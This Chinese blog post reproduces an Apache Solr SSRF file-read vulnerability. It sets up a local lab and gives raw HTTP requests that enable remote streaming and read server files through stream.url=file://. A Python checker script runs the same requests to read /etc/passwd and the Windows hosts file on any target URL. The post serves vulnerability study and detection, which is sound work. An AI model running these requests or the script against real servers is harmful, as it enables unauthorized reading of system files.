我是靠谱客的博主 拉长草莓,这篇文章主要介绍Apache Solr SSRF文件读取漏洞一. 漏洞描述二. 影响版本三. 漏洞复现四. 漏洞检测POC五. 漏洞修复,现在分享给大家,希望可以做个参考。

目录

一. 漏洞描述

二. 影响版本

三. 漏洞复现

1. 复现条件

2. windows下搭建漏洞环境

3. 漏洞测试

四. 漏洞检测POC

五. 漏洞修复


一. 漏洞描述

       Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。

       该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。

二. 影响版本

  • Apache Solr <=8.8.1 (latest)   ,通杀所有版本,官方拒绝修复

三. 漏洞复现

1. 复现条件

  • Apache Solr <= 8.8.1
  • 存在至少一个core(至少存在一个core的原因:url中的core_name是Solr中的已经创建的core的名字,我们刚下载来的Solr默认是没有core的,因此需要创建)

2. windows下搭建漏洞环境

搭建solr8.8.1版本

首先从Apache Solr官网下载最新的Solr 8.8.1:https://solr.apache.org/downloads.html

解压完成后,进入bin目录,执行

solr start -p 8983

访问ip:8983端口

或者用docker搭建,docker-compose.yml文件如下。但是经过测试使用docker搭建的环境进行漏洞复现存在问题,所以这里不能用docker进行环境搭建。

version: '2'
services:
 solr:
   command: solr-demo
   image: solr:8.8.1
   ports:
    - "8983:8983"

3. 漏洞测试

1. 创建core

因为刚下载的环境是没有core的,所以需要先创建一个core进行复现。点击左侧的Core Admin来创建一个Core,可以发现报错

此时Solr已经在server/solr目录下已经创建了名字为new_core的文件夹,我们只需要把server/solr/configsets_default文件夹下的conf目录整个拷贝到new_core文件夹下,即可

复制过去后,再点击刚才那个Add Core发现可以创建成功了,如下

2. 获取core名字

通过http://127.0.0.1:8984/solr/admin/cores?indexInfo=false&wt=json ,可以看到新建的core的名字为new_core

3. 发送请求

这一步可以测试是否存在漏洞,响应码为200,说明远程读取流文件配置开启成功

使用burp发送以下请求包,ip要对应:

GET /solr/获取的core名/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 82

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

结果:

4. 进行文件读取

可以跳过步骤3直接执行这一步进行文件读取

GET /solr/获取的core名字/debug/dump?param=ContentStreams HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 29

stream.url=file://想要读取的文件名称

如读取本机的hosts的文件

四. 漏洞检测POC

#author:xcc
import requests
import argparse
from colorama import init
import os
import json
from requests.packages import urllib3
urllib3.disable_warnings()
init(autoreset=True)
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
def url():
	des="33[0;32m[-]Apache Solr SSRF文件读取漏洞POC"
	parser = argparse.ArgumentParser(description=des)
	parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
	args = parser.parse_args() 
	target_url = args.target_url
	print("33[0;32mApache Solr SSRF文件读取漏洞POC")
	print("[-]正在执行检测...")
	print(f"[-]目标地址:33[0;32m{target_url}33[0m",)
	return target_url
def get_core(target_url):
	try:
		core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
		response = requests.get(url=core_url,headers=headers,timeout=5)
		core_name = list(json.loads(response.text)['status'])[0] #将json数据转换为字典,再转换为列表获取core值
		print(f'[-]获取core值成功:33[0;32m{core_name}33[0m')
		return core_name
	except Exception as error:
		print('33[0;32m[-]漏洞不存在33[0m',error)
		os._exit(0)

def get_file(target_url,core_name):
	file1 = '/etc/passwd'	#Linux系统
	file2 = '/C:/Windows/System32/drivers/etc/hosts'	#windows系统
	data1 = f"stream.url=file://{file1}"
	data2 = f"stream.url=file://{file2}"
	vuln_url = target_url + f"/solr/{core_name}/debug/dump?param=ContentStreams"
	headers2={
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
		'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
		'Accept-Encoding': 'gzip, deflate',
		'Content-Type': 'application/x-www-form-urlencoded',
		'Connection': 'close',
		'Upgrade-Insecure-Requests': '1'
		}
	print("[-]正在发送post数据包进行漏洞验证...")
	try:
		#Linux系统判断
		response1 = requests.post(url=vuln_url,headers=headers,data=data1,verify=False,timeout=8)
		if response1.status_code==200 and "root:x" in response1.text:
			result1 = True
		else:
			result1 = False
			pass
	except:
		result1 = False
		pass
		#windows系统判断
	try:
		response2 = requests.post(url=vuln_url,headers=headers2,data=data2,verify=False,timeout=8)
		if response2.status_code==200 and "localhost" in response2.text:
			result2 = True
		else:
			result2 = False
			pass
	except:
		result2 = False
		pass
	#漏洞判断
	if result1 or result2:
		print('33[0;31m[+]漏洞存在33[0m')
	else:
		print('33[0;32m[+]漏洞不存在33[0m')

if __name__ == '__main__':
	#url()
	target_url = url()
	core_name = get_core(target_url)
	get_file(target_url,core_name)

五. 漏洞修复

  • 将 Solr 端口仅对内网开放,并配置访问策略
  • 无修复版本(好像是官方拒绝修复,呜呜~~)

——心,若没有栖息的地方,到哪都是流浪

最后

以上就是拉长草莓最近收集整理的关于Apache Solr SSRF文件读取漏洞一. 漏洞描述二. 影响版本三. 漏洞复现四. 漏洞检测POC五. 漏洞修复的全部内容,更多相关Apache内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(98)

评论列表共有 0 条评论

立即
投稿
返回
顶部